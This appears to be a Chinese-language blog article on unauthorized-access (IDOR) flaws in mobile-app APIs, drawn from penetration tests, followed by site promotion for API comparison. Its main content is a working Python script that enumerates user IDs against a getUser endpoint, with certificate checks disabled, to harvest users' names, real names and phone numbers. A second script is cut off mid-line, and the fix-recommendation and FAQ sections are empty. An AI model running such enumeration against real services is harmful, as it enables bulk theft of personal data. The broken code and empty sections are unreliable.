程序通過調用API接口獲取數據信息,如果對參數校驗不嚴格,則可能導致越權獲取別的賬戶信息。

案例分析

案例1:APP滲透測試中的越權訪問

在一次APP滲透測試中,測試人員發現,通過修改user_id參數,可以獲取其他用戶的賬戶信息。以下是詳細步驟:

查看數據包,其中有個參數為user_id,服務器根據user_id值回顯對應的賬號信息。

數據包參數

測試人員嘗試修改user_id值為5,發現對應的賬號信息隨即變動,說明此處對參數的校驗不嚴格。通過對user_id值進行遍歷,就能夠獲取所有的賬號信息。

修改后的數據

編寫get_api腳本,遍歷user_id值,獲取賬戶手機號信息。

腳本結果

獲取手機號如下:

獲取手機號

案例2:POST請求中的參數遍歷

在另一個案例中,通過對POST請求中參數的遍歷,可以獲取用戶的詳細信息。以下代碼展示了如何利用此漏洞:

import requests
import json
from requests.packages import urllib3
urllib3.disable_warnings()

url = "https://.xxxx.com/api/app/user/getUser"
headers = {
    'App': 'ddup',
    'Os': 'Android',
    'Version': '1.1.7',
    'Versioncode': '14',
    'Content-Type': 'application/json; charset=utf-8',
    'Content-Length': '89',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent': 'okhttp/3.14.9'
}
for id in range(1,500):
    data = {
        "md5":"BBE806AA7B91B1D92DE9FA2AC9EF9DEA",
        "token":"",
        "tokenId":"",
        "version":14,
        "id":id
    }
    try:
        res = requests.post(url=url, headers=headers, json=data, verify=False).text
        data1 = json.loads(res)
        username = data1['response']['userName']
        realname = data1['response']['realName']
        phone = data1['response']['phone']
        sign = data1['response']['userSign']
        print("用戶名:", username, "  真實姓名:", realname, "  手機號:", phone, "  sign:", sign)
        print("————————————————————————————————————————————————————————————————")
    except:
        pass

代碼執行結果

漏洞危害

這種漏洞的危害在于,可以批量獲取個人手機號信息,甚至批量修改賬號密碼,給用戶的隱私和安全帶來巨大的威脅。

漏洞修復建議

API接口的遍歷

在API接口的遍歷過程中,可能會遇到不同的參數組合。例如,路徑規劃接口可能會出現Fromx,y;Tox,y兩種參數,需要對所有城市進行遍歷。所有城市的坐標經緯度可以通過爬蟲從高德地圖上爬下來。

#encoding:utf-8
#遍歷所有城市路徑規劃的測試腳本

from xlutils.copy import copy
import urlparse, copy,urllib,xlrd,xlwt,urllib2
from lxml import etree
from hashlib import md5

def url_values_xy(url,fromX,fromY,toX,toY,sign):
    ret = []
    u = urlparse.urlparse(url)
    qs = u.query
    pure_url = url.replace('?'+qs, '')
    qs_dict = dict(urlparse.parse_qsl(qs))
    tmp_dict = copy.deepcopy(qs_dict)
    tmp_dict['fromX'] = fromX
    tmp_dict['fromY'] = fromY
    tmp_dict['toX'] = toX
    tmp_dict['toY'] = toY
    tmp_dict['sign'] = sign
    tmp_qs = urllib.unquote(ur

FAQ

  1. 問:如何有效防止API接口的越權訪問?

  2. 問:API接口遍歷的主要風險是什么?

  3. 問:開發者如何識別API接口中的漏洞?

  4. 問:越權訪問漏洞如何對用戶產生影響?

  5. 問:API接口設計中有哪些最佳實踐?

通過對API接口的遍歷和漏洞分析,我們可以更好地理解其潛在的安全風險,從而在設計和使用中采取更加謹慎的措施,確保用戶數據的安全。

上一篇:

使用ChatGPT的API:全面指南與集成技巧

下一篇:

Django顯示高德地理坐標指南:快速集成與展示
#你可能也喜歡這些API文章!

我們有何不同?

API服務商零注冊

多API并行試用

數據驅動選型,提升決策效率

查看全部API→
??

熱門場景實測,選對API

#AI文本生成大模型API

對比大模型API的內容創意新穎性、情感共鳴力、商業轉化潛力

25個渠道
一鍵對比試用API 限時免費

#AI深度推理大模型API

對比大模型API的邏輯推理準確性、分析深度、可視化建議合理性

10個渠道
一鍵對比試用API 限時免費